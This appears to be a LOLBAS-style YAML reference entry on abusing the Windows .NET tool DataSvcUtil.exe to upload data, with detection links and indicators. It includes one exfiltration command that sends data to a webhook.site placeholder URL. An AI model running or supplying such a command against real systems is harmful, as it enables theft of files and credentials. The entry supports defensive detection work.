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* Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHQ ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> * Update SigmaHq ref Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com> --------- Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
30 lines
1.7 KiB
YAML
30 lines
1.7 KiB
YAML
---
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Name: DataSvcUtil.exe
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Description: DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
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Author: 'Ialle Teixeira'
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Created: 2020-12-01
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Commands:
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- Command: DataSvcUtil /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile
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Description: Upload file, credentials or data exfiltration in general
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Usecase: Upload file
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Category: Upload
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Privileges: User
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MitreID: T1567
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OperatingSystem: Windows 10
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Full_Path:
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- Path: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe
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Code_Sample:
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- Code: https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
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- IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.
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- IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
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- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
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Resources:
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- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
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- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
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- Link: https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
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Acknowledgement:
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- Person: Ialle Teixeira
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Handle: '@NtSetDefault'
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